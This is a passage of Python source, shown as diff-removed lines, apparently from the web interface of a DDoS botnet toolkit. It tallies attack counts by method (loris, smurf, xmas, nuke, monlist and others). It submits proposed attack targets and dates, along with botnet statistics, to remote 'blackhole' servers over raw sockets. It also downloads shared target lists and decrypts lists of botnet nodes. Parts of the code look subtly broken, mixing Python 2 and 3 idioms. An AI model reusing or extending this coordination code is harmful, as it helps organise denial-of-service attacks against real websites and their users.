- self.decrypt(grid_key, grid_loic)
- if self.decryptedtext:
- try:
- grid_loic = int(self.decryptedtext)
- except:
- grid_loic = nodec_num
- else:
- grid_loic = nodec_num
- if version > 17 or version == 17 or version == 16 or version == 15 or version == 12 or version == 11:
- grid_loris = m[9] # loris
- self.decrypt(grid_key, grid_loris)
- if self.decryptedtext:
- try:
- grid_loris = int(self.decryptedtext)
- except:
- grid_loris = nodec_num
- else:
- grid_loris = nodec_num
- self.decryptedtext = "" # clean decryptedtext buffer
- else:
- grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not loris present
- self.decrypt(grid_key, grid_loris)
- if self.decryptedtext:
- try:
- grid_loris = int(self.decryptedtext)
- except:
- grid_loris = nodec_num
- else:
- grid_loris = nodec_num
- self.decryptedtext = "" # clean decryptedtext buffer
- if version > 17 or version == 17 or version == 16 or version == 15 or version == 12:
- grid_ufosyn = m[10] # ufosyn
- self.decrypt(grid_key, grid_ufosyn)
- if self.decryptedtext:
- try:
- grid_ufosyn = int(self.decryptedtext)
- except:
- grid_ufosyn = nodec_num
- else:
- grid_ufosyn = nodec_num
- self.decryptedtext = "" # clean decryptedtext buffer
- else:
- grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present
- self.decrypt(grid_key, grid_ufosyn)
- if self.decryptedtext:
- try:
- grid_ufosyn = int(self.decryptedtext)
- except:
- grid_ufosyn = nodec_num
- else:
- grid_ufosyn = nodec_num
- self.decryptedtext = "" # clean decryptedtext buffer
- if version > 17 or version == 17 or version == 16 or version == 15:
- grid_spray = m[11] # spray
- self.decrypt(grid_key, grid_spray)
- if self.decryptedtext:
- try:
- grid_spray = int(self.decryptedtext)
- except:
- grid_spray = nodec_num
- else:
- grid_spray = nodec_num
- self.decryptedtext = "" # clean decryptedtext buffer
- else:
- grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not spray present
- self.decrypt(grid_key, grid_spray)
- if self.decryptedtext:
- try:
- grid_spray = int(self.decryptedtext)
- except:
- grid_spray = nodec_num
- else:
- grid_spray = nodec_num
- self.decryptedtext = "" # clean decryptedtext buffer
- if version > 17 or version == 17 or version == 16 or version == 15:
- grid_smurf = m[12] # smurf
- self.decrypt(grid_key, grid_smurf)
- if self.decryptedtext:
- try:
- grid_smurf = int(self.decryptedtext)
- except:
- grid_smurf = nodec_num
- else:
- grid_smurf = nodec_num
- self.decryptedtext = "" # clean decryptedtext buffer
- else:
- grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not smurf present
- self.decrypt(grid_key, grid_smurf)
- if self.decryptedtext:
- try:
- grid_smurf = int(self.decryptedtext)
- except:
- grid_smurf = nodec_num
- else:
- grid_smurf = nodec_num
- self.decryptedtext = "" # clean decryptedtext buffer
- if version > 17 or version == 17 or version == 16 or version == 15:
- grid_xmas = m[13] # xmas
- self.decrypt(grid_key, grid_xmas)
- if self.decryptedtext:
- try:
- grid_xmas = int(self.decryptedtext)
- except:
- grid_xmas = nodec_num
- else:
- grid_xmas = nodec_num
- self.decryptedtext = "" # clean decryptedtext buffer
- else:
- grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not xmas present
- self.decrypt(grid_key, grid_xmas)
- if self.decryptedtext:
- try:
- grid_xmas = int(self.decryptedtext)
- except:
- grid_xmas = nodec_num
- else:
- grid_xmas = nodec_num
- self.decryptedtext = "" # clean decryptedtext buffer
- if version > 17 or version == 17 or version == 16:
- grid_nuke = m[14] # nuke
- self.decrypt(grid_key, grid_nuke)
- if self.decryptedtext:
- try:
- grid_nuke = int(self.decryptedtext)
- except:
- grid_nuke = nodec_num
- else:
- grid_nuke = nodec_num
- self.decryptedtext = "" # clean decryptedtext buffer
- else:
- grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not nuke present
- self.decrypt(grid_key, grid_nuke)
- if self.decryptedtext:
- try:
- grid_nuke = int(self.decryptedtext)
- except:
- grid_nuke = nodec_num
- else:
- grid_nuke = nodec_num
- self.decryptedtext = "" # clean decryptedtext buffer
- if version > 17 or version == 17:
- grid_tachyon = m[15] # tachyon
- self.decrypt(grid_key, grid_tachyon)
- if self.decryptedtext:
- try:
- grid_tachyon = int(self.decryptedtext)
- except:
- grid_tachyon = nodec_num
- else:
- grid_tachyon = nodec_num
- self.decryptedtext = "" # clean decryptedtext buffer
- else:
- grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not tachyon present
- self.decrypt(grid_key, grid_tachyon)
- if self.decryptedtext:
- try:
- grid_tachyon = int(self.decryptedtext)
- except:
- grid_tachyon = nodec_num
- else:
- grid_tachyon = nodec_num
- self.decryptedtext = "" # clean decryptedtext buffer
- if version > 17:
- grid_monlist = m[16] # monlist
- self.decrypt(grid_key, grid_monlist)
- if self.decryptedtext:
- try:
- grid_monlist = int(self.decryptedtext)
- except:
- grid_monlist = nodec_num
- else:
- grid_monlist = nodec_num
- self.decryptedtext = "" # clean decryptedtext buffer
- else:
- grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not monlist present
- self.decrypt(grid_key, grid_monlist)
- if self.decryptedtext:
- try:
- grid_monlist = int(self.decryptedtext)
- except:
- grid_monlist = nodec_num
- else:
- grid_monlist = nodec_num
- self.decryptedtext = "" # clean decryptedtext buffer
- if version > 17:
- grid_contact = m[17] # contact
- self.decrypt(grid_key, grid_contact)
- if self.decryptedtext:
- grid_contact = self.decryptedtext
- else:
- grid_contact = nodec_text
- self.decryptedtext = "" # clean decryptedtext buffer
- grid_id = m[18] # id
- elif version == 17:
- grid_contact = m[16] # contact
- self.decrypt(grid_key, grid_contact)
- if self.decryptedtext:
- grid_contact = self.decryptedtext
- else:
- grid_contact = nodec_text
- self.decryptedtext = "" # clean decryptedtext buffer
- grid_id = m[17] # id
- elif version == 16:
- grid_contact = m[15] # contact
- self.decrypt(grid_key, grid_contact)
- if self.decryptedtext:
- grid_contact = self.decryptedtext
- else:
- grid_contact = nodec_text
- self.decryptedtext = "" # clean decryptedtext buffer
- grid_id = m[16] # id
- elif version == 15:
- grid_contact = m[14] # contact
- self.decrypt(grid_key, grid_contact)
- if self.decryptedtext:
- grid_contact = self.decryptedtext
- else:
- grid_contact = nodec_text
- self.decryptedtext = "" # clean decryptedtext buffer
- grid_id = m[15] # id
- elif version == 12:
- grid_contact = m[11] # contact
- self.decrypt(grid_key, grid_contact)
- if self.decryptedtext:
- grid_contact = self.decryptedtext
- else:
- grid_contact = nodec_text
- self.decryptedtext = "" # clean decryptedtext buffer
- grid_id = m[12] # id
- elif version == 11:
- grid_contact = m[10] # contact
- self.decrypt(grid_key, grid_contact)
- if self.decryptedtext:
- grid_contact = self.decryptedtext
- else:
- grid_contact = nodec_text
- self.decryptedtext = "" # clean decryptedtext buffer
- grid_id = m[11] # id
- elif version == 10:
- grid_contact = m[9] # contact
- self.decrypt(grid_key, grid_contact)
- if self.decryptedtext:
- grid_contact = self.decryptedtext
- else:
- grid_contact = nodec_text
- self.decryptedtext = "" # clean decryptedtext buffer
- grid_id = m[10] # id
- else:
- grid_contact = nodec_text
- grid_id = '6666666666666666666666666666666666666' # fake id
- grid_items.append([str(grid_nickname),int(grid_ranking),int(grid_totalchargo),int(grid_dorking),int(grid_transferred),int(grid_maxchargo),int(grid_missions),int(grid_attacks),int(grid_loic),int(grid_loris),int(grid_ufosyn),int(grid_spray),int(grid_smurf),int(grid_xmas),int(grid_nuke),int(grid_tachyon),int(grid_monlist),str(grid_contact),str(grid_id)])
- if grid_filter == "nickname":
- grid_items=sorted(grid_items,key=lambda x:x[0]) # sorted by nickname
- elif grid_filter == "ranking":
- grid_items=sorted(grid_items,key=lambda x:x[1]) # sorted by ranking
- elif grid_filter == "chargo":
- grid_items=sorted(grid_items,key=lambda x:x[2]) # sorted by totalchargo
- elif grid_filter == "dorking":
- grid_items=sorted(grid_items,key=lambda x:x[3]) # sorted by dorking
- elif grid_filter == "transferred":
- grid_items=sorted(grid_items,key=lambda x:x[4]) # sorted by transferred
- elif grid_filter == "maxchargo":
- grid_items=sorted(grid_items,key=lambda x:x[5]) # sorted by maxchargo
- elif grid_filter == "missions":
- grid_items=sorted(grid_items,key=lambda x:x[6]) # sorted by missions
- elif grid_filter == "attacks":
- grid_items=sorted(grid_items,key=lambda x:x[7]) # sorted by attacks
- elif grid_filter == "loic":
- grid_items=sorted(grid_items,key=lambda x:x[8]) # sorted by loic
- elif grid_filter == "loris":
- grid_items=sorted(grid_items,key=lambda x:x[9]) # sorted by loris
- elif grid_filter == "ufosyn":
- grid_items=sorted(grid_items,key=lambda x:x[10]) # sorted by ufosyn
- elif grid_filter == "spray":
- grid_items=sorted(grid_items,key=lambda x:x[11]) # sorted by spray
- elif grid_filter == "smurf":
- grid_items=sorted(grid_items,key=lambda x:x[12]) # sorted by smurf
- elif grid_filter == "xmas":
- grid_items=sorted(grid_items,key=lambda x:x[13]) # sorted by xmas
- elif grid_filter == "nuke":
- grid_items=sorted(grid_items,key=lambda x:x[14]) # sorted by nuke
- elif grid_filter == "tachyon":
- grid_items=sorted(grid_items,key=lambda x:x[15]) # sorted by tachyon
- elif grid_filter == "monlist":
- grid_items=sorted(grid_items,key=lambda x:x[16]) # sorted by monlist
- elif grid_filter == "contact":
- grid_items=sorted(grid_items,key=lambda x:x[17]) # sorted by contact
- else:
- grid_items=sorted(grid_items,key=lambda x:x[6]) # sorted by missions (default)
- for i in grid_items:
- grid_nickname = str(i[0])
- self.encrypt(grid_key, grid_nickname)
- if self.encryptedtext:
- grid_nickname = self.encryptedtext
- self.encryptedtext = "" # clean encryptedtext buffer
- grid_ranking = str(i[1])
- self.encrypt(grid_key, grid_ranking)
- if self.encryptedtext:
- grid_ranking = self.encryptedtext
- self.encryptedtext = "" # clean encryptedtext buffer
- grid_totalchargo = str(i[2])
- self.encrypt(grid_key, grid_totalchargo)
- if self.encryptedtext:
- grid_totalchargo = self.encryptedtext
- self.encryptedtext = "" # clean encryptedtext buffer
- grid_dorking = str(i[3])
- self.encrypt(grid_key, grid_dorking)
- if self.encryptedtext:
- grid_dorking = self.encryptedtext
- self.encryptedtext = "" # clean encryptedtext buffer
- grid_transferred = str(i[4])
- self.encrypt(grid_key, grid_transferred)
- if self.encryptedtext:
- grid_transferred = self.encryptedtext
- self.encryptedtext = "" # clean encryptedtext buffer
- grid_maxchargo = str(i[5])
- self.encrypt(grid_key, grid_maxchargo)
- if self.encryptedtext:
- grid_maxchargo = self.encryptedtext
- self.encryptedtext = "" # clean encryptedtext buffer
- grid_missions = str(i[6])
- self.encrypt(grid_key, grid_missions)
- if self.encryptedtext:
- grid_missions = self.encryptedtext
- self.encryptedtext = "" # clean encryptedtext buffer
- grid_attacks = str(i[7])
- self.encrypt(grid_key, grid_attacks)
- if self.encryptedtext:
- grid_attacks = self.encryptedtext
- self.encryptedtext = "" # clean encryptedtext buffer
- grid_loic = str(i[8])
- self.encrypt(grid_key, grid_loic)
- if self.encryptedtext:
- grid_loic = self.encryptedtext
- self.encryptedtext = "" # clean encryptedtext buffer
- grid_loris = str(i[9])
- self.encrypt(grid_key, grid_loris)
- if self.encryptedtext:
- grid_loris = self.encryptedtext
- self.encryptedtext = "" # clean encryptedtext buffer
- grid_ufosyn = str(i[10])
- self.encrypt(grid_key, grid_ufosyn)
- if self.encryptedtext:
- grid_ufosyn = self.encryptedtext
- self.encryptedtext = "" # clean encryptedtext buffer
- grid_spray = str(i[11])
- self.encrypt(grid_key, grid_spray)
- if self.encryptedtext:
- grid_spray = self.encryptedtext
- self.encryptedtext = "" # clean encryptedtext buffer
- grid_smurf = str(i[12])
- self.encrypt(grid_key, grid_smurf)
- if self.encryptedtext:
- grid_smurf = self.encryptedtext
- self.encryptedtext = "" # clean encryptedtext buffer
- grid_xmas = str(i[13])
- self.encrypt(grid_key, grid_xmas)
- if self.encryptedtext:
- grid_xmas = self.encryptedtext
- self.encryptedtext = "" # clean encryptedtext buffer
- grid_nuke = str(i[14])
- self.encrypt(grid_key, grid_nuke)
- if self.encryptedtext:
- grid_nuke = self.encryptedtext
- self.encryptedtext = "" # clean encryptedtext buffer
- grid_tachyon = str(i[15])
- self.encrypt(grid_key, grid_tachyon)
- if self.encryptedtext:
- grid_tachyon = self.encryptedtext
- self.encryptedtext = "" # clean encryptedtext buffer
- grid_monlist = str(i[16])
- self.encrypt(grid_key, grid_monlist)
- if self.encryptedtext:
- grid_monlist = self.encryptedtext
- self.encryptedtext = "" # clean encryptedtext buffer
- grid_contact = str(i[17])
- self.encrypt(grid_key, grid_contact)
- if self.encryptedtext:
- grid_contact = self.encryptedtext
- self.encryptedtext = "" # clean encryptedtext buffer
- grid_id = str(i[18]) # id (plain id)
- l = str(grid_nickname) + "#?#" + str(grid_ranking) + "#?#" + str(grid_totalchargo) + "#?#" + str(grid_dorking) + "#?#" + str(grid_transferred) + "#?#" + str(grid_maxchargo) + "#?#" + str(grid_missions) + "#?#" + str(grid_attacks) + "#?#" + str(grid_loic) + "#?#" + str(grid_loris) + "#?#" + str(grid_ufosyn) + "#?#" + str(grid_spray) + "#?#" + str(grid_smurf)+ "#?#" + str(grid_xmas) + "#?#" + str(grid_nuke) + "#?#" + str(grid_tachyon) + "#?#" + str(grid_monlist) + "#?#" + str(grid_contact) + "#?#" + str(grid_id)
- f.write(l + os.linesep)
- f.close()
- except:
- pass
- if page == "/cmd_grid_filter_update":
- if not os.path.exists('/tmp/out'):
- open('/tmp/out', 'w').close()
- with open('/tmp/out', 'r') as f:
- self.pages["/cmd_grid_filter_update"] = "<pre>"+f.read()+"<pre>"
- if page == "/cmd_transfer_grid":
- self.pages["/cmd_transfer_grid"] = "<pre>Waiting for 'blackhole' connection...</pre>"
- blackhole_ip = pGet["grid_source"]
- blackhole_ip = urllib.parse.unquote(blackhole_ip)
- try:
- grid_key = pGet["grid_key"]
- except:
- grid_key = ""
- end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
- if grid_key is not "": # stream creation + encryption + package send
- try:
- grid_json_file = open(self.mothership_gridcfg_file, "r") # extract grid profile conf
- grid_data = json.load(grid_json_file)
- grid_json_file.close()
- stats_json_file = open(self.mothership_stats_file, "r") # extract mothership stats
- stats_data = json.load(stats_json_file)
- stats_json_file.close()
- nickname = grid_data["grid_nick"].encode('utf-8')
- self.encrypt(grid_key, nickname)
- if self.encryptedtext:
- nickname = self.encryptedtext
- self.encryptedtext = "" # clean encryptedtext buffer
- ranking = self.ranking
- if ranking == "Rookie":
- ranking = 1
- elif ranking == "Mercenary":
- ranking = 2
- elif ranking == "Bandit":
- ranking = 3
- elif ranking == "UFOmmander!":
- ranking = 4
- elif ranking == "UFOl33t!":
- ranking = 5
- else:
- ranking = 1
- self.encrypt(grid_key, str(ranking))
- if self.encryptedtext:
- ranking = self.encryptedtext
- self.encryptedtext = "" # clean encryptedtext buffer
- chargo = self.total_botnet
- self.encrypt(grid_key, str(chargo))
- if self.encryptedtext:
- chargo = self.encryptedtext
- self.encryptedtext = "" # clean encryptedtext buffer
- dorking = stats_data["scanner"]
- self.encrypt(grid_key, str(dorking))
- if self.encryptedtext:
- dorking = self.encryptedtext
- self.encryptedtext = "" # clean encryptedtext buffer
- transferred = stats_data["transferred"]
- self.encrypt(grid_key, str(transferred))
- if self.encryptedtext:
- transferred = self.encryptedtext
- self.encryptedtext = "" # clean encryptedtext buffer
- max_chargo = stats_data["max_chargo"]
- self.encrypt(grid_key, str(max_chargo))
- if self.encryptedtext:
- max_chargo = self.encryptedtext
- self.encryptedtext = "" # clean encryptedtext buffer
- missions = stats_data["missions"]
- self.encrypt(grid_key, str(missions))
- if self.encryptedtext:
- missions = self.encryptedtext
- self.encryptedtext = "" # clean encryptedtext buffer
- attacks = stats_data["completed"]
- self.encrypt(grid_key, str(attacks))
- if self.encryptedtext:
- attacks = self.encryptedtext
- self.encryptedtext = "" # clean encryptedtext buffer
- loic = stats_data["loic"]
- self.encrypt(grid_key, str(loic))
- if self.encryptedtext:
- loic = self.encryptedtext
- self.encryptedtext = "" # clean encryptedtext buffer
- loris = stats_data["loris"]
- self.encrypt(grid_key, str(loris))
- if self.encryptedtext:
- loris = self.encryptedtext
- self.encryptedtext = "" # clean encryptedtext buffer
- ufosyn = stats_data["ufosyn"]
- self.encrypt(grid_key, str(ufosyn))
- if self.encryptedtext:
- ufosyn = self.encryptedtext
- self.encryptedtext = "" # clean encryptedtext buffer
- spray = stats_data["spray"]
- self.encrypt(grid_key, str(spray))
- if self.encryptedtext:
- spray = self.encryptedtext
- self.encryptedtext = "" # clean encryptedtext buffer
- smurf = stats_data["smurf"]
- self.encrypt(grid_key, str(smurf))
- if self.encryptedtext:
- smurf = self.encryptedtext
- self.encryptedtext = "" # clean encryptedtext buffer
- xmas = stats_data["xmas"]
- self.encrypt(grid_key, str(xmas))
- if self.encryptedtext:
- xmas = self.encryptedtext
- self.encryptedtext = "" # clean encryptedtext buffer
- nuke = stats_data["nuke"]
- self.encrypt(grid_key, str(nuke))
- if self.encryptedtext:
- nuke = self.encryptedtext
- self.encryptedtext = "" # clean encryptedtext buffer
- tachyon = stats_data["tachyon"]
- self.encrypt(grid_key, str(tachyon))
- if self.encryptedtext:
- tachyon = self.encryptedtext
- self.encryptedtext = "" # clean encryptedtext buffer
- monlist = stats_data["monlist"]
- self.encrypt(grid_key, str(monlist))
- if self.encryptedtext:
- monlist = self.encryptedtext
- self.encryptedtext = "" # clean encryptedtext buffer
- contact = grid_data["grid_contact"].encode('utf-8')
- self.encrypt(grid_key, str(contact))
- if self.encryptedtext:
- contact = self.encryptedtext
- self.encryptedtext = "" # clean encryptedtext buffer
- id = grid_data["grid_token"] # plain text
- stream = str(nickname)+grid_msg_sep+str(ranking)+grid_msg_sep+str(chargo)+grid_msg_sep+str(dorking)+grid_msg_sep+str(transferred)+grid_msg_sep+str(max_chargo)+grid_msg_sep+str(missions)+grid_msg_sep+str(attacks)+grid_msg_sep+str(loic)+grid_msg_sep+str(loris)+grid_msg_sep+str(ufosyn)+grid_msg_sep+str(spray)+grid_msg_sep+str(smurf)+grid_msg_sep+str(xmas)+grid_msg_sep+str(nuke)+grid_msg_sep+str(tachyon)+grid_msg_sep+str(monlist)+grid_msg_sep+str(contact)+grid_msg_sep+str(id)
- try:
- host = blackhole_ip
- cport = 9992 # port used by mothership grider (server side script)
- gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- gs.settimeout(5.0)
- gs.connect((host, cport))
- gs.send(stream)
- gs.close()
- try: # download latest grid after submit
- grid = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/grid.txt').read().decode('utf-8')
- f = open(self.grid_file, "w") # write updates to grid.txt
- f.write(grid)
- f.close()
- except:
- pass
- grid_trans = "[Info] [AI] Statistics transferred! -> [OK!]\n"
- except:
- grid_trans = "[Error] [AI] Something wrong uploading statistics. Try it again...\n"
- except:
- grid_trans = "[Error] [AI] Something wrong uploading statistics. Try it again...\n"
- end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
- f = open("/tmp/out", "w")
- f.write(grid_trans)
- f.write(end_mark)
- f.close()
- if page == "/cmd_transfer_grid_update":
- if not os.path.exists('/tmp/out'):
- open('/tmp/out', 'w').close()
- with open('/tmp/out', 'r') as f:
- self.pages["/cmd_transfer_grid_update"] = "<pre>"+f.read()+"<pre>"
- if page == "/cmd_transfer_wargame":
- self.pages["/cmd_transfer_wargame"] = "<pre>Waiting for 'blackhole' connection...</pre>"
- blackhole_ip = pGet["wargames_source2"]
- blackhole_ip = urllib.parse.unquote(blackhole_ip)
- try:
- wargames_enckey = pGet["wargames_enckey"]
- except:
- wargames_enckey = ""
- wargames_creation = strftime("%d-%m-%Y %H:%M:%S", gmtime())
- wargames_target = pGet["wargames_target"]
- if wargames_target.startswith("http://") or wargames_target.startswith("https://"): # parse proposed target url
- t = urlparse(wargames_target)
- wargames_target = t.netloc
- else:
- wargames_trans = "[Error] [AI] Proposed target hasn't a correct format!. Try it again...\n"
- wargames_enckey = ""
- if wargames_target.startswith("www."):
- wargames_target = wargames_target.replace("www.","")
- wargames_estimated = pGet["wargames_estimated"]
- try:
- wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
- wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
- if (wargames_creation > wargames_estimated) == True: # parse bad dates
- wargames_trans = "[Error] [AI] Date time should be major than creation time. Try it again...\n"
- wargames_enckey = ""
- except:
- wargames_trans = "[Error] [AI] Date time is not using a correct format!. Try it again...\n"
- wargames_enckey = ""
- end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
- if wargames_enckey is not "": # stream creation + encryption + package send
- wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
- wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
- try:
- self.encrypt(wargames_enckey, wargames_creation)
- if self.encryptedtext:
- wargames_creation = self.encryptedtext
- self.encryptedtext = "" # clean encryptedtext buffer
- self.encrypt(wargames_enckey, wargames_target)
- if self.encryptedtext:
- wargames_target = self.encryptedtext
- self.encryptedtext = "" # clean encryptedtext buffer
- self.encrypt(wargames_enckey, wargames_estimated)
- if self.encryptedtext:
- wargames_estimated = self.encryptedtext
- self.encryptedtext = "" # clean encryptedtext buffer
- stream = str(wargames_creation)+wargames_msg_sep+str(wargames_target)+wargames_msg_sep+str(wargames_estimated)
- try:
- host = blackhole_ip
- cport = 9992 # port used by mothership grider (server side script)
- gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- gs.settimeout(5.0)
- gs.connect((host, cport))
- gs.send(stream)
- gs.close()
- try: # download latest wargames after submit
- wargames = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/wargames.txt').read().decode('utf-8')
- f = open(self.wargames_file, "w") # write updates to wargames.txt
- f.write(wargames)
- f.close()
- except:
- pass
- wargames_trans = "[Info] [AI] Wargame transferred! -> [OK!]\n"
- except:
- wargames_trans = "[Error] [AI] Something wrong uploading wargame. Try it again...\n"
- except:
- wargames_trans = "[Error] [AI] Something wrong uploading wargame. Try it again...\n"
- end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
- f = open("/tmp/out", "w")
- f.write(wargames_trans)
- f.write(end_mark)
- f.close()
- if page == "/cmd_transfer_wargame_update":
- if not os.path.exists('/tmp/out'):
- open('/tmp/out', 'w').close()
- with open('/tmp/out', 'r') as f:
- self.pages["/cmd_transfer_wargame_update"] = "<pre>"+f.read()+"<pre>"
- if page == "/cmd_sync_board":
- self.pages["/cmd_sync_board"] = "<pre>Waiting for 'blackhole' reply...</pre>"
- blackhole_ip = pGet["board_source"]
- blackhole_ip = urllib.parse.unquote(blackhole_ip)
- try:
- board = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/board.txt').read().decode('utf-8')
- f = open(self.board_file, "w") # write updates to board.txt
- f.write(board)
- f.close()
- self.board_text = board
- except:
- board = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
- end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
- f = open("/tmp/out", "w")
- f.write(str(board))
- f.write(end_mark)
- f.close()
- if page == "/cmd_sync_board_update":
- if not os.path.exists('/tmp/out'):
- open('/tmp/out', 'w').close()
- with open('/tmp/out', 'r') as f:
- stream = f.read()
- stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
- self.pages["/cmd_sync_board_update"] = "<pre>"+stream+"<pre>"
- if page == "/cmd_send_message_board":
- self.pages["/cmd_send_message_board"] = "<pre>Waiting for 'blackhole' connection...</pre>"
- blackhole_ip = pGet["board_source"]
- blackhole_ip = urllib.parse.unquote(blackhole_ip).decode('utf8')
- try:
- board_key = pGet["board_key"]
- except:
- board_key = ""
- try:
- board_topic = pGet["board_topic"]
- except:
- board_topic = ""
- try:
- board_message = pGet["stream_txt"]
- except:
- board_message = ""
- end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
- if board_key is not "" or board_topic is not "" or board_message is not "": # stream creation (topic | icon | nick | id | comment) + encryption (board_key) + package send (default blackhole)
- try:
- board_json_file = open(self.mothership_boardcfg_file, "r") # extract board profile conf
- board_data = json.load(board_json_file)
- board_json_file.close()
- board_nickname = board_data["profile_nick"]
- self.encrypt(board_key, board_nickname)
- if self.encryptedtext:
- board_nickname = self.encryptedtext
- self.encryptedtext = "" # clean encryptedtext buffer
- board_icon = board_data["profile_icon"]
- board_icon = board_icon.replace("link", "") # keep just icon number
- board_id = board_data["profile_token"]
- self.encrypt(board_key, board_message)
- if self.encryptedtext:
- board_message = self.encryptedtext
- self.encryptedtext = "" # clean encryptedtext buffer
- if board_topic == "general":
- board_topic = 1
- elif board_topic == "opsec":
- board_topic = 2
- elif board_topic == "faq":
- board_topic = 3
- elif board_topic == "bugs":
- board_topic = 4
- elif board_topic == "media":
- board_topic = 5
- else:
- board_topic = 1
- stream = str(board_topic)+board_msg_sep+str(board_icon)+board_msg_sep+str(board_nickname)+board_msg_sep+str(board_id)+board_msg_sep+str(board_message)
- try:
- host = blackhole_ip
- cport = 9992 # port used by mothership grider (server side script)
- gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- gs.settimeout(5.0)
- gs.connect((host, cport))
- gs.send(stream)
- gs.close()
- try: # download latest board after submit
- board = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/board.txt').read().decode('utf-8')
- f = open(self.board_file, "w") # write updates to board.txt
- f.write(board)
- f.close()
- except:
- pass
- board_trans = "[Info] [AI] The message has been sent! -> [OK!]\n"
- except:
- board_trans = "[Error] [AI] Something wrong sending message to the board. Try it again...\n"
- except:
- board_trans = "[Error] [AI] Something wrong sending message to the board. Try it again...\n"
- f = open("/tmp/out", "w")
- f.write(board_trans)
- f.write(end_mark)
- f.close()
- if page == "/cmd_send_message_board_update":
- if not os.path.exists('/tmp/out'):
- open('/tmp/out', 'w').close()
- with open('/tmp/out', 'r') as f:
- self.pages["/cmd_send_message_board_update"] = "<pre>"+f.read()+"<pre>"
- if page == "/cmd_decrypt":
- self.pages["/cmd_decrypt"] = "<pre>Waiting for decrypting results...</pre>"
- try:
- news_key = pGet["news_key"]
- except:
- news_key = ""
- try:
- missions_key = pGet["missions_key"]
- except:
- missions_key = ""
- end_mark = "\n[Info] [AI] End of decryption."
- if news_key is not "": # news decryption
- self.decrypted_news = []
- nodec_text = "*** [This message cannot be solved with that KEY...]"
- news_key = pGet["news_key"]
- for news_text in self.list_news:
- self.decrypt(news_key, news_text)
- if self.decryptedtext:
- if len(self.decryptedtext) < 2:
- self.decrypted_news.append(nodec_text)
- else:
- self.decrypted_news.append(self.decryptedtext)
- else:
- self.decrypted_news.append(nodec_text)
- self.decryptedtext = "" # clean decryptedtext buffer
- f = open("/tmp/out", "w")
- num_news = 0 # news counter
- for m in self.decrypted_news:
- num_news = num_news + 1
- f.write("["+str(num_news)+"] " + str(m)+"\n")
- f.write(end_mark)
- f.close()
- else:
- if missions_key is not "": # missions decryption
- self.decrypted_missions = []
- nodec_text = "*** [This message cannot be solved with that KEY...]"
- missions_key = pGet["missions_key"]
- for missions_text in self.list_missions:
- self.decrypt(missions_key, missions_text)
- if self.decryptedtext:
- if len(self.decryptedtext) < 2:
- self.decrypted_missions.append(nodec_text)
- else:
- self.decrypted_missions.append(self.decryptedtext)
- else:
- self.decrypted_missions.append(nodec_text)
- self.decryptedtext = "" # clean decryptedtext buffer
- f = open("/tmp/out", "w")
- num_mission = 0 # missions counter
- for m in self.decrypted_missions:
- num_mission = num_mission + 1
- f.write("["+str(num_mission)+"] " + str(m)+"\n")
- f.write(end_mark)
- f.close()
- else: # blackholes (nodes.dat) decryption + data showing
- self.decrypted_blackholes = []
- nodec_text = "*** [This message cannot be solved with that key...]"
- blackhole_key = pGet["blackhole_key"]
- for blackholes_text in self.list_blackholes:
- self.decrypt(blackhole_key, blackholes_text)
- if self.decryptedtext:
- self.decrypted_blackholes.append(self.decryptedtext)
- else:
- self.decrypted_blackholes.append(nodec_text)
- self.decryptedtext = "" # clean decryptedtext buffer
- f = open("/tmp/out", "w")
- num_blackholes = 0 # blackholes counter
- for b in self.decrypted_blackholes:
- num_blackholes = num_blackholes + 1
- if blackhole_sep in b: # IP | Mode | Comment | Actions
- s = b.rsplit(blackhole_sep, 1)[0]
- ip = str(s.rsplit(blackhole_sep, 1)[0])
- mode = str(s.rsplit(blackhole_sep, 1)[1])
- if mode == "D": # Download only mode
- mode = "<a href=javascript:runCommandX('cmd_download_community')>Download</a>"
- elif mode == "U": # Upload only mode
- mode = "<a href=javascript:runCommandX('cmd_upload_community')>Upload</a>"
- else: # Upload/Download mode
- mode = "<a href=javascript:runCommandX('cmd_download_community')>Download</a>" + " - " + "<a href=javascript:runCommandX('cmd_upload_community')>Upload</a>"
- comment = str(b.rsplit(blackhole_sep, 1)[1])
- b = ip + " " + blackhole_sep + " Botnet: " + mode + " " + blackhole_sep + " Comment: " + comment
- f.write("["+str(num_blackholes)+"] " + str(b)+"\n")
- else:
- f.write("["+str(num_blackholes)+"] " + str(b)+"\n")
- f.write(end_mark)
- f.close()
- if page == "/cmd_decrypt_update":
- if not os.path.exists('/tmp/out'):
- open('/tmp/out', 'w').close()
- with open('/tmp/out', 'r') as f:
